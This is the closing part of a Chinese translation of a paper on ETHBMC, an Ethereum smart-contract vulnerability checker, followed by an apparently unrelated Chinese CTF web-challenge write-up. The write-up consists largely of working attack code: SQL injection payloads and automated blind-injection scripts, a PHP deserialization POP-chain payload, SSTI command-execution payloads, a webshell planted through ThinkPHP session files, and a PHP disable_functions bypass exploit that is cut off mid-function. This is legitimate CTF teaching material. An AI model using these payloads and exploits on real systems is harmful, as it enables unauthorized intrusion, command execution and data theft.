本文使用其他路径约束对攻击者的目标进行编码，例如施加一个附加约束，以指定在执行当前交易后，跟踪者帐户的余额必须高于整个分析开始时的余额。当遇到DELEGATECALL或CALLCODE指令时，创建了一个附加的状态劫持，在这里试图劫持合约的控制流。为劫持添加了一个约束，将CALLCODE
/
DELEGATECALL的目标地址约束为攻击者的帐户广播。如果这个约束是可以满足的，可以重定向控制流。同样，标记执行SELFDESTRUCT指令的状态，以检测可被外部攻击者破坏的合约。请注意，如果可以使用SELFDESTRUCT指令从帐户中窃取资金，则ETHBMC会检测到这两种情况。如果检测到任何类型的漏洞，则会将相应的状态传递给验证模块。
如果无法检测到任何攻击，则会计算状态改变状态的集合，即经历环境变化的σh子集。只有这些状态才能在执行程序中引发新的路径，其他状态将导致与上一轮中探讨的初始状态相同。因此仅进一步探讨这些状态。
### 3）验证模块
在最后一步中，试图为每个具有可行攻击路径的状态生成有效的事务。利用SMT求解器生成触发漏洞所需的事务数据。在成功生成攻击数据后，利用go-ethereum工具套件，特别是EVM实用程序，以离线方式模拟攻击。 这能够模拟所有生成的事务并检查它们是否与所需的攻击向量匹配。
## 0x06 Evalution
### 1）现有技术的实证分析
首先将ETHBMC与前文中检验的静态分析工具进行比较。使将SELFDESTRUCT指令嵌入每个合约中，因为所有工具都为此提供了检测模块。此外，重新创建了检查的奇偶校验帐户黑客程序，以模拟复杂的实际情况。下表列出了本研究的发现。
**分析设置：**
不幸的是无法让MAIAN正常工作；目前，分析器所需的多个库不兼容。作者既没有指定他们在原始文章中使用的版本，也没有回答有关这些问题的多个GitHub问题。同样，本文仅讨论Vandal，因为MadMax继承了其函数。
在撰写本文时，根据工具的最新版本进行了评估。这对应于github commit
d7b7fd1上的teEther，版本0.2.4中的Manticore，0.20.0中的Mythril，github commit f7bfee7
上的Vandal，在github commit 8fd230和Oyente上的安全在github上提交6c9d382
。虽然Oyente提供了一种检测暴露的SELFDESTRUCT指令的模式，们在测试过程中发现该模式似乎是固有破坏的。为了进行健全性检查，测试了一个仅带有一个单行函数的简单合约，该函数可以自毁合约（即List
1中没有周围的if子句）。 Oyente将合约标记为不脆弱。因此将其从实验中排除。
为了进行评估，将所有合约编译为字节码，并将其用作不同分析器的输入。这保证了所有工具之间的比较是公平的，没有人可以利用源代码信息获得好处。
**Keccak256函数：** 从简单的合约测试开始，即对分析器建模哈希函数（即List 1）的能力进行测试。合约将哈希输入与随机选择的常数值进行比较。
如果攻击者想通过检查（第2行），他们将不得不提供一个预映像。由于keccak是一种加密安全的哈希函数，因此在实践中这是不可行的，并且合约也不容易受到攻击。
Manticore，Securify和ETHBMC正确地将合约标识为安全的，所有其他工具均报告存在漏洞。但是，根据源代码审查，teEther应该可以通过实验。在合约的第一次通过中，teEther使用二进制切片来查找导致潜在脆弱状态的路径。在第二条路径中，它象征性地执行这些路径，以查找可能达到此状态的输入。但是，对于此实验，teEther报告它找不到包含SELFDESTRUCT指令的潜在路径。根据理解，它仅应在第二遍中放弃可利用合约的可能性。因此，对于该实验，将teEther列为不正确的。
由于映射数据类型的普遍性，将继续使用List
2中列出的合约进行分析，一个攻击者可以通过首先调用createUser，提供自己的帐户地址作为输入，然后与她调用destruct来利用该合约分配的ID。只有teEther和ETHBMC才能找到脆弱状态。
**内存复制操作：** 下一个实验旨在测试执行者对内存复制式操作的处理方式。使用List
3中所示的协定。由于输入定义为字符串，因此使用类似于memcopy的指令将calldata复制到内存中。
乍一看，Securify似乎通过了实验，报告了一个易受攻击的状态。但是，这与前文中的源代码审查直接冲突，因为发现它只是忽略了像memcopy这样的指令。因此进行了第二次验证实验，如下所示：
运行该实验两次，一次按原样进行，另一次对第2行的条件取反，导致Securify将这两个实例标记为易受攻击。这证实了对Securify不能正确推理此程序的怀疑，因为上述实例显然是不容易受到攻击的。对所有工具重复此实验，但结果没有改变。除teEther和ETHBMC之外的所有工具都无法找到易受攻击的状态。
**合约间分析：**
对Mythril进行合约间分析非常困难；该工具支持合约间分析，但是合约必须已经部署在区块链上。因此将它们排除在此测试之外，仅让Manticore进行评估，因为其他工具均不支持合约间分析。使用两个合约库和Target来模拟该实验，以反映List
4中给出的示例。假设Target是要分析的合约， Manticore和ETHBMC都为该示例找到正确的输入。
Mythril提供了一种链上分析模式，可以从链上下载所有必要的实时信息。不幸的是，它仅支持当前最新块的分析。本文扩展了该工具以使其能够处理过去的块，并且当前正在将该补丁提交到上游存储库。但是，在分析奇偶合约时，Mythril不报告任何漏洞。
ETHBMC确实支持类似于Mythril的模式：在特定块中提取存储信息，并使用它们预先配置环境。当到达任何基于调用的指令时，提取任何常量参数并加载相应的接收者合约。
ETHBMC完成分析并正确报告两种利用合约的方式。在实际的奇偶校验代码中，构造函数和初始化代码分为两个函数。因此，攻击者可以直接调用暴露的构造函数或初始化方法。
ETHBMC会为这两个漏洞生成有效的攻击代码。
Manticore不支持任何类型的在线分析。因此，在相应的块中提取存储参数，并利用两个帐户的API来建立测试环境。处理完第一笔交易后，Manticore报告它尚未检测到任何可以进一步探究的状态，并完成了分析而未报告任何问题。
### 2）大规模分析
为了进一步评估ETHBMC，对截至2018年12月24日在Google
BigQuery上列出的所有2,194,650个帐户进行了大规模扫描。将扫描分为三个阶段，使得可以将其与之前的两个大规模大规模进行直接比较进行的实验：第一次是Krupp和Rossow，第二次是Nikolic等。
Kruppand Rossow提出了teEther，它将二进制切片与符号执行结合使用。该工具侧重于提取以太币，以及重定向控制流。
Nikolicet等开发了可以执行自杀合约（即任何人都可以销毁）的MAIAN。下表中列出了本研究的发现，下面将对其进行详细讨论。请注意，例如在奇偶校验中，ETHBMC经常发现多种利用同一漏洞的方法，因此，在分析中列出了在分析过程中发现的不同漏洞数量。
**实验设计：**
由于运行存档节点，因此可以在任何给定的块高度上自由地重新创建帐户环境。利用此功能首先重新创建Krupp和Rossow进行扫描的环境，然后分析其数据集列出的所有帐户。随后，提取了Nikolic扫描时出现的所有合约地址。由于希望避免不必要的合约重新扫描，因此继续仅扫描teEther和MAIAN帐户集之间的差异。通过收集所有新创建的帐户以及帐户状态在两个区块之间变化的所有帐户来计算此差异，从而对区块链的观点“更新”到较新的区块。最后，使用相同的方法来计算MAIAN扫描与截至2018年12月在Google
BigQuery上列出的所有帐户之间的差异，从而提供了当前以太坊漏洞态势的完整视图。请注意，同时选择了teEther和MAIAN扫描，因为这两种工具均提供了误报修剪功能，因此可以进行合理的比较。
由于分析的规模，必须对ETHBMC施加一些限制。分析配置为使用30分钟超时。此外，将循环执行绑定到一个迭代中，对于后端SMT求解器使用两分钟的超时时间，并且最多只能加载10,000个存储变量。当一个账户链上的余额为零时，假设10个以太币的替代物，因此模型检查器可以推断提取的以太币。此外，将交易深度限制为三笔交易，并在执行过程中引入了额外的限制，以将内存复制操作的大小限制为256，从而模仿teEther的行为。
在实验中使用了一些机器：大学内部云中的20个虚拟机，运行6个2.5 Ghz虚拟化内核，每个内核分配12
GB内存。此外，在两台服务器上运行了12个ETHBMC实例，每个实例均配备了Intel Xeon
E5-2667和96GB内存。扫描2,193,697个唯一帐户占用了整个群集大约3.5个月的时间，大约相当于39个CPU年。
本研究联系了teEther的作者，获得了他们的实验数据，并在同一日期（2017年11月30日）对他们的数据集列出的所有784,344个账户进行了分析。注意，在分析过程中，Krupp和Rossow首先假定了一个空的存储空间。这与仅单个合约分析结合在一起，使他们可以跳过对重复合约代码的分析，从而减少了38,757个合约的初始分析集。他们首先分析了此减少的合约集的漏洞。当他们的工具将某个帐户标记为易受攻击时，他们便在更大的集合中搜索了共享此合约代码的所有计数。随后，他们将重新对这些帐户进行分析，同时还提取相应的环境（例如，这些帐户的存储变量）。但是，请注意，此快捷方式可能会错过易受攻击的合约，因为它们可能会根据初始化的存储变量和与之交互的帐户而有所不同。为避免这种情况，分别扫描所有784,344个帐户，提取初始存储变量以及分析期间发现的被调用帐户。想强调的是，两次扫描都针对同一套合约，本文只是在方法上有所不同。
分析成功完成了大部分合约（91.21％），只有很少的超时（2.41％）。相比之下，teEther成功分析了85.65％的合约。由于本文的分析具有大规模性质，因此在分析过程中确实遇到了多个错误（6.38％）。有些是由于EVM（一种用于验证的框架）中的错误导致的。一些与本研究有关，无法从区块链加载帐户，这是目前仍在调查的问题。但是，无论如何将相应的帐户标记为错误，从分析中将其排除在外。
经过两个阶段的分析，Krupp和Rossow报告了1,532个易受攻击的帐户。在分析中，发现了2,856个易受攻击的合约，可以从中提取以太的1,681个合约，可以重定向的51个控制流以及可以随时杀死的1,431个（即自杀合约）。请注意，一个帐户可以标记为多个类别，例如255个帐户都被标记为可以提取以太币的suicidaland。在评估过程中，teEtherauthors列出了容易受到劫持的控制流的帐户。一旦攻击者可以重定向控制流，他们就可以轻松地从帐户中提取所有资金。
**当前的漏洞情况：**
最后一次扫描显示，截至2018年12月，以太坊区块链上共有4,301个易受攻击的活跃合约。分为2708个可提取以太币的合约，97个可重定向其控制流的账户和1924个合约可以随意破坏自己。
### 3）性能分析
本文展示了ETHBMC扩展到大型数据集的能力。但是，在分析单个合约时，也对它的性能感兴趣。从数据集中随机抽取了10,000个合约，并对本文分析时间进行了研究。请注意，如果合约与其他合约互动，仍将从区块链加载它们。结果如下图所示。
在这10,000个合约中，在前5秒成功分析了5,577个合约，并在5到10秒后成功分析了另外2,006个（即，在10秒内总计7,583个）。此后，已解决合约的数量逐渐增加，在前2分钟内解决了10,000个合约中的8,471个。
30分钟后，已成功分析了10,000个帐户中的9,031个，即90％左右，这反映了在大规模分析中的效果。请注意在图中一起绘制了错误和超时，以更好地表示。
## 0x07 Discusion
接下来讨论ETHBMC的基本假设和局限性。
环境模型：尽管环境模型很精确，但仍然必须对其施加一些限制。当执行与环境中其他帐户交互的指令（例如，BALANCE或CALL指令）时，仅将当前加载的环境中的帐户视为有效目标。否则，将不得不将以太坊生态系统中的每个账户视为有效目标。尽管可以简单地对整个执行过程进行符号化建模，但这也会带来一个弊端，即这种帐户群甚至永远不可能。因此，决定只考虑提供给环境或在实时分析中发现的帐户。另外，不为帐户创建建模。
**限制条件：**
在评估过程中，必须对本文的框架施加一些限制，例如边界循环和设置时间限制。尽管其中一些限制无法完全取消，例如，总是必须对循环施加上限，但提高超时限制或循环计数可能会导致发现程序中更深处的错误。这同样适用于合约调用，即ETHBMC无法找到需要三个以上事务的错误。此外，目前仅为一个攻击者帐户建模。但是，由于使用智能合约对复杂的系统进行建模，因此实际上包括其他攻击者或用户帐户可能会导致发现交互，而只有在多方使用该合约时才会触发交互。请注意，由于ETHBMC已经支持完整的环境，因此具有以这种方式使用的功能。
**扩展到其他漏洞：**
本文模型检查方法可以通过将新漏洞建模为约束来检测新的攻击媒介。此外，EthBMC可以用来为合约提供正式担保。分析师可以将合约的正确行为建模为约束系统。然后在标准模型检查过程中，将使用EthBMC来检查是否存在既可以达到的状态，又可以满足约束系统的条件。这些属性证明违反了正确的行为。可达性评估该状态在实践中是可行的。正确行为的约束系统是所有可行程序状态的子集，当发现此子集以外的状态（即取反）时（在实践中也是可行的），发现违反了此行为。
**可扩展性：**
可以为可伸缩性做出类似的论点，再次以keccak为例。使用严格的编码方案对这些计算进行编码，由于增加了复杂性，因此需要更长的分析时间。如果简单地假设计算可以有任何结果，即过高地近似，这将使推理变得直截了当。在检查诸如MadMax之类的工具的分析时间时，可以证明这一点：尽管在第一分钟内解决了约80％的所有合约，但这些工具在前20秒中分析了约90％。在智能合约的正常开发周期中，开发人员可以快速迭代许多版本的合约，他们可以使用“更快”的工具。最后，在部署到区块链之前，可以使用ETHBMC进行最终的精确分析。
**影响：**
对EthBMC可能产生的实际影响进行公正的评估非常困难。由于以太坊系统对外界完全透明，因此攻击者可以监控区块链并在账户中包含诱人数量的以太币时从账户中提取资金。因此，对发现的每个易受害帐户的最高记录值进行了分析，从而为本研究确定了潜在影响的上限。这样产生的最大影响约为155,000个以太坊。但是，EthBMC可以重新创建Parity
hack。如果当时使用该工具，那么本可以提取超过370,000个以太坊。以2020年2月底的汇率计算，这分别相当于约4000万美元和8900万美元。
## 0x08 Conclusion
在本文中首先介绍了用于智能合约的最新静态分析工具。证明了所有这些工具都至少在一个类别中采用了不精确的推理。认识到这些缺陷后，介绍了ETHBMC，它是一种符号执行器，能够捕获合约间的关系，加密哈希函数和内存复制式操作。通过评估以前的几项工作的实施来证明了它的有效性，并表明ETHBMC的准确性明显优于它们。另外，介绍了当前合约前景的漏洞分析，以及对ETHBMC内部工作的多项研究。 | 社区文章 |
# 2020新春战疫网络安全公益赛部分Web Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近因为疫情，在家里都没怎么出门，正好i春秋平台举办了`2020新春战疫网络安全公益赛`。学到了一些骚姿势，师傅们都tql了。。。
## DAY1
### 简单的招聘系统
打开页面发现是一个登陆框，直接注册账号登陆进去。发现需要管理员登陆，才能解锁新功能。
在那里xss了半天，没有结果。。。。
最后重新回到登陆页面，使用万能密码登陆，发现能登进去，但是是我刚刚注册的账号，于是重新下发题目，，直接万能密码登陆，发现成功登陆了管理员的账号。
在新功能页面，发现存在注入，可以通过联合注入
没有任何过滤，就是正常的联合注入，能够注出`flag`
测试发现回显的字段在2
1' union select 1,database(),3,4,5#
nzhaopin
1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()#
backup,flag,user
1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()#
id,safekey,profile,id,flaaag,id,username,password,safekey,profile
1' union select 1,group_concat(flaaag),3,4,5 from flag#
flag{9cbb834c-0562-4503-a703-0d2092a220bc}
### ezupload
比较简单的一道题目
打开发现存在文件上传，可以直接上传木马文件。。。
然后执行`system('/readflag');`就可以得到`flag`了
看了源码，发现是代码写翻车了(2333333)
### 盲注
打开页面发现源码：
<?php
# flag在fl4g里
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();
$id = $_GET['id'];
if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);
这里我们发现是一个注入，还有`waf`会对输出的参数进行过滤。 最主要的是这里没有任何的回显数据。。。 我们可以考虑的是延时注入。。
`?id=if(1,sleep(3),1)` 可以造成延时的效果。
测试发现过滤了好多东西：`' % = < > * into load_file outfile like union select insert`
发现过滤了一些运算符，我们可以用`REGEXP`来代替。
这里告诉了我们`flag在fl4g里` 也省去了我们很多步骤，能够直接获取`flag`
大致试这个思路 `1 and if(fl4g REGEXP "a",sleep(4),1)%23`，
脚本：
import requests
import time
url = "http://13922ac12da24dc2863fae519bd12b33160484bcc8a748bd.changame.ichunqiu.com/?id="
str_1 = '0123456789abcdefgl[]-'
flag= 'flag{'
for j in range(100):
print j
for i in str_1:
payload = '1%20and%20if(fl4g%20REGEXP%20"'+flag+i+'",sleep(5),1)%23'
url_1 = url +payload
try:
res = requests.get(url_1,timeout=3)
except requests.exceptions.ReadTimeout:
flag += i
print flag
break
flag{efa5f746-1914-4013-94c6-44f8184985dd}
### babyphp
打开页面，是一个登陆页面，尝试万能密码登陆无果，然后进行目录扫描，发现源码`www.zip`
对源码进行审计：
update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面，上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢！";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
只要登陆成功即可获得`flag`, 所以我们要想办法构造`POP链`
我们来看一下`User类`
class User
{
public $id;
public $age=null;
public $nickname=null;
...
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
`User类`里的`getNewInfo`有一个过滤，就是替换一些危险的函数
`User类`存在`__destruct`和`__toString`两个魔术方法。`destruct`直接是文件读取的，而`__toString`是表示当`User`当做字符串打出来的时候就会调用这个函数，`$this->nickname->update($this->age);`
我们查找一下`update`方法
class dbCtrl
{
public function update($sql)
{
//还没来得及写
}
}
发现里面没有任何功能，我们就有搜索了一下`__call`魔术方法
`Info`中存在一个`__call`所以当调用`$Info->update`的时候由于`Info类`中没有`update`这个方法，所以会触发魔术方法`__call`
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
这个`__call`魔术方法会调用`echo $this->CtrlCase->login($argument[0]);`
发现`dbCtrl`类有`login`方法
class dbCtrl
{
...
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败，错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误！');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
这里发现这里的`login($sql)`是可以被我们控制的。我们可以进行注入得到管理员的密码。
我们看一下这个`Info类`，
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
发现我们能控制的参数只有`age`和`nickname`然而这里还多出来了一个属性`$CtrlCase`，如果我们利用反序列化字符逃逸，是可以控制这个属性的。正好`safe`这个函数给我们反序列化逃逸有了可能。
构造一下：
<?php
error_reporting(0);
session_start();
class dbCtrl
{
public $token;
public function __construct(){
$this->token = 'admin';
}
}
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\',"*","alter");
return str_replace($array,'hacker',$parm);
}
Class Info{
public $CtrlCase;
public function __construct(){
$this->CtrlCase = new dbCtrl();
}
}
Class User{
public $nickname=null;
public $age=null;
public function __construct(){
$this->nickname = new Info();
$this->age='select password,id from user where username="admin"';
}
}
Class UpdateHelper{
public $sql;
public function __construct(){
$this->sql= new User();
}
}
$a = new UpdateHelper();
// echo serialize($a);
$res = '";s:8:"CtrlCase";' . serialize($a) . '}' . "n";
echo $res;
//";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"age";s:51:"select password,id from user where username="admin"";}}}
这个`payload`一个222个字符。一个`*`被过滤成`hacker`后可以挤出5个字符，选择44个`*`和三个`union`，最终组成了`payload`
age=1&nickname=********************************************unionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"age";s:51:"select password,id from user where username="admin"";}}}
在线解码就可以得到管理员的密码，登陆就i可以得到`flag`了
flag{aa934a2e-666f-4669-bf94-1e6c6e6d9397}
## DAY2
### easysqli_copy
打开题目，发现给出了源码：
<?php
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}
发现采用了PDO模式，想到了一个大佬的文章
[PDO场景下的SQL注入探究](https://xz.aliyun.com/t/3950)，发现和这个非常相似。
这里过滤了好多东西
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|^|&|database/i',$str,$matches))
发现正常的注入手段都被过滤了。。
想到可以利用通过转换十六进制来绕过这些限制。
由于页面没有任何回显的地方，所以可以考虑延时注入。
`select sleep(1)`的十六进制表示为：`0x73656C65637420736C656570283129`
$db->query("set names gbk");
看到这里设置的字符集为`gbk`,首先想到的就是宽字节注入。
综上，测试发现：
id=1%df%27%20;set%20@x=0x73656C65637420736C656570283129;prepare%20a%20from%20@x;execute%20a;
这样能够得到延时的效果
脚本：
import requests
import re
import time
import sys
reload(sys)
sys.setdefaultencoding("utf8")
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
def hex_to_str(s):
return ''.join([chr(i) for i in [int(b, 16) for b in s.split(' ')]])
url = "http://c8a6cd9388a04664b7695f43a2489372bae05b16de4e4793.changame.ichunqiu.com//?id=1%df%27%20;set%20@x=0x"
flag = ""
for j in range(1,100):
print j
for i in range(32,128):
# sql = 'select if((ascii(substr(database(),'+str(j)+',1))>'+str(i)+'),1,sleep(100))'
#payload="select if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
#print(payload)
#payload="select if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='table1'),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
sql = "select if((ascii(substr((select group_concat(fllllll4g) from table1),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
# print sql
hex_sql = str_to_hex(sql)
url_1 = url+hex_sql+';prepare%20a%20from%20@x;execute%20a;'
# print url_1
# exit()
try:
res = requests.get(url_1,timeout=4)
except requests.exceptions.ReadTimeout:
flag +=chr(i)
print flag
break
### blacklist
打开题目发现和强网杯的一道题目特别相似。
但是这个题目的过滤更加严谨：
将上次强网杯那道题的思路都给过滤了。。
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i",$inject);
我们可以查到表名 payload:`-1';show tables;`：
我们可以发现`flag`所在的表
通过查阅资料，发现了一个有趣的东西 `handler` [Mysql查询语句-handler](https://blog.csdn.net/JesseYoung/article/details/40785137)
`handler`的使用方法：
mysql> handler user open;
Query OK, 0 rows affected (0.00 sec)
mysql> handler user read first;
+----+-------+-------+
| id | name | pass |
+----+-------+-------+
| 1 | admin | admin |
+----+-------+-------+
1 row in set (0.00 sec)
mysql> handler user read next;
+----+------+------+
| id | name | pass |
+----+------+------+
| 2 | root | root |
+----+------+------+
1 row in set (0.00 sec)
mysql> handler user close;
Query OK, 0 rows affected (0.00 sec)
我们可以如法炮制一下。
得到payload:
-1';handler `FlagHere` open;handler `FlagHere` read first;#
### Ezsqli
打开题目
发现 输入`1` 回显 `Hello Nu1L`
输入`2` 回显`Hello CQGAME`
当我们输入 `2-1` 回显 `Hello Nu1L`
发现存在注入点。`2-(ascii(substr(database(),1,1))>1)`这样可以探测到数据库名。
这其中也过滤了一些字符串
sleep,instr,benchmark,format,insert,bin,substring,ord,and,in,or,xor
其中`union`和`select`单独使用不会被过滤，一起使用会被判定非法字符。。。
由于过滤了`in`，我们就无法使用`information_schema`这个库来查询我们想要的表名和字段名了。
我们需要了解一下MySQL5.7的新特性
由于performance_schema过于发杂，所以mysql在5.7版本中新增了sys schemma，基础数据来自于performance_chema和information_schema两个库，本身数据库不存储数据。
我也找到了一篇文章[bypass information_schema](https://www.anquanke.com/post/id/193512)
通过文章上说讲我们可以通过`sys.schema_table_statistics_with_buffer`来查询表名。
构造payload:
2-(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),1,1))>1)
这样我们就可以构造出来表名`f1ag_1s_h3r3_hhhhh`。
在我们知道表名的情况下，原来的想法是可以进行无列明注入的，但是过滤了`union select` `join`等 弄得很难受
尝试之间发现：
`2 - (ascii(substr((select count(*) f1ag_1s_h3r3_hhhhh),1,1))=49)`
可以得到表中只有一条数据
`2 - (ascii(substr((select count(id) f1ag_1s_h3r3_hhhhh),1,1))=49)`
可以的得到表存在`id`值为`1`
在尝试中，发现了一个骚姿势：
mysql> select (select 1,0x01,3)>(select * from user limit 1);
+------------------------------------------------+
| (select 1,0x01,3)>(select * from user limit 1) |
+------------------------------------------------+
| 0 |
+------------------------------------------------+
1 row in set (0.00 sec)
mysql> select (select 1,0xff,3)>(select * from user limit 1);
+------------------------------------------------+
| (select 1,0xff,3)>(select * from user limit 1) |
+------------------------------------------------+
| 1 |
+------------------------------------------------+
1 row in set (0.00 sec)
于是可以尝试得到flag:
payload:
2-(select (select 1,0x01)>(select * from f1ag_1s_h3r3_hhhhh limit 1))
最后附上脚本：
import requests
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
url = "http://86ad8e55dd3244b488826b4cf0924ce4b5a885066be143a0.changame.ichunqiu.com/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
flag=''
for j in range(1,100):
for i in range(32,126):
print i
payload = "id=2-(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),"+str(j)+",1))<"+str(i)+")"
# a = str_to_hex(chr(i))
# payload = "id=2-(select (select 1,0x"+str_to_hex(flag)+a+")>(select * from f1ag_1s_h3r3_hhhhh limit 1))"
res = requests.post(url=url,data=payload,headers=headers)
# print payload
# print res.text
# exit()
if "Hello Nu1L" in res.text:
flag += chr(i-1)
print flag
break
## DAY3
### Flaskapp
这是一个base64的加密解密网站
猜测试ssti
`${{1+1}}`将其base64编码 然后再网站上用解密工具解码得到：
发现有回显，然后就试构造payload:执行命令了。。
这里面也有一些过滤，当输入的存在非法字符时，
得到payload:`{{{}.__class__.__base__.__subclasses__()[103].__init__.__globals__['__builtins__']['ev'+'al']("__imp"+"ort_"+"_('o"+"s').po"+"pen('ls').read()")}}`
能够执行命令：
读`flag`文件:
`{{{}.__class__.__base__.__subclasses__()[103].__init__.__globals__['__builtins__']['ev'+'al']("__imp"+"ort_"+"_('o"+"s').po"+"pen('cat
this_is_the_fl'+'ag.txt').read()")}}`
### easy_thinking
打开题目：
发现存在源码`www.zip`，通过测试发现：
是个`thinkphp6.0.0`这个版本前一段刚爆出来了一个漏洞[参考链接](https://paper.seebug.org/1114/)，探测一波。
我们正常的注册，登陆，发现页面存在查找功能，但是什么也查不到。。。
在`http://123.57.212.112:7892/runtime/session/`这个目录下，我们找到了存放`session`的文件。
打开对应的文件，发现里面存储的时我们刚刚查找的内容。
于是我们可以上传一个木马文件。
在我们登陆时，修改一下`PHPSESSID`的值，改成`102cf8246d140a73584c0e6c02b8.php`，登陆成功之后就会在`http://123.57.212.112:7892/runtime/session/`这个目录下，找到这个文件，然后就是写马进去。
访问这个文件，发现成功写入木马：
但是执行不了系统命令。。。因为`disable_functions`
这个禁止使用的太多了`mail,error_log`这些也被禁用了，只好拿出祖传的神器了。。。
<?php
pwn("cd / &&./readflag");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
